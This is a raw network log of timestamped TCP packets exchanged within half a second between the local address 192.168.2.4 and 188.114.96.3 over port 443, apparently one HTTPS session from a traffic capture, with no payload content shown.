Jun 17, 2024 16:18:42.011332035 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011710882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011755943 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.011771917 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011842012 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011885881 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.011887074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011899948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.011949062 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.011956930 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.012551069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.012600899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.012615919 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.066966057 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.125917912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126000881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126044035 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126072884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.126121998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126178980 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.126195908 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126399994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126441956 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.126446962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126461029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.126521111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.126528025 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.127085924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.127129078 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.127131939 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.127141953 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.127188921 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.127943039 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.128002882 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.128766060 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.128822088 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.128832102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.128897905 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.128953934 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.128962040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.129009962 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.129703999 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.129772902 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.130559921 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.130614996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.130624056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.130635023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.130659103 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.131438971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.131495953 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.131504059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.131552935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.132299900 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.132363081 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.133136988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.133198977 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.242670059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.242736101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.242846966 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.242889881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.242908955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.242961884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243021965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243103981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243401051 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243448019 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243472099 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243486881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243505001 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243542910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243607998 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243617058 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243675947 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.243880987 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.243952990 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.244080067 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.244138002 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.244239092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.244344950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.244740963 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.244893074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.244935989 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.244988918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245057106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245066881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245081902 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245289087 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245297909 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245728970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245781898 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245781898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245799065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245835066 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245848894 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245898008 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245929003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245937109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.245950937 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.245966911 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246014118 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246022940 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246068954 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246496916 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246541977 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246562958 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246571064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246603012 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246625900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246659994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246768951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.246817112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.246871948 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.247802973 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.247863054 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.247977018 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248029947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248033047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.248042107 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248085022 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.248099089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248147964 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.248723984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248769045 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248792887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.248809099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.248832941 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.248874903 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.360095024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360162020 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360254049 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.360282898 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360301971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.360320091 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.360796928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360833883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360861063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.360863924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.360898018 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.361093044 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.361115932 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.361156940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.361161947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.361181974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.362139940 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362166882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362199068 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.362205982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362263918 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.362517118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362536907 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362579107 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.362586975 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.362608910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.365544081 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365590096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365637064 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.365645885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365669012 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.365873098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365895033 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365926981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.365936995 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.365955114 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.366163015 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366189003 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366218090 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.366225958 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366247892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.366508961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366528034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366560936 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.366569042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.366596937 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367018938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367042065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367075920 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367082119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367106915 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367428064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367460966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367480040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367487907 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367523909 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367659092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367682934 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367706060 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.367717981 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.367733955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.368424892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368444920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368478060 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.368493080 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368511915 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.368760109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368784904 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368812084 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.368819952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.368840933 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.369147062 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.369164944 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.369194984 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.369200945 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.369219065 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.369398117 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.476784945 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.476811886 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.476878881 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.476896048 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.476926088 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.476942062 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477125883 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477147102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477199078 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477205038 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477229118 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477248907 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477250099 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477264881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477288961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477304935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477313042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477350950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477369070 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477593899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477613926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477647066 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477653980 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477677107 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477694988 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477752924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477773905 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477814913 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477822065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477838993 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477859974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.477972984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.477993011 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478043079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478049040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478070974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478091955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478296041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478316069 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478344917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478349924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478388071 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478405952 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478511095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478530884 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478566885 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478571892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478591919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478612900 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478820086 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478854895 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478873968 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478880882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.478912115 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.478928089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479036093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479054928 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479083061 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479089022 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479118109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479135990 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479357958 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479377985 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479409933 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479414940 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479444027 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479459047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479473114 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479496956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479532957 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479538918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479564905 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479592085 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479777098 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479796886 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479840040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479845047 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.479867935 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479888916 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.479998112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480016947 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480045080 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480051041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480079889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480106115 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480359077 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480380058 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480408907 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480416059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480442047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480454922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480674982 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480698109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480736971 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480742931 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480761051 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480782032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480783939 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480798006 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480819941 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480834007 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480842113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.480859041 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.480882883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481080055 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481098890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481136084 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481143951 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481165886 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481188059 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481434107 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481455088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481481075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481496096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481506109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481514931 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481529951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481538057 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481553078 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481566906 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481614113 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481800079 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481821060 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481884003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.481892109 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.481925964 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482160091 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482182026 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482209921 CEST	49731	443	192.168.2.4	188.114.96.3
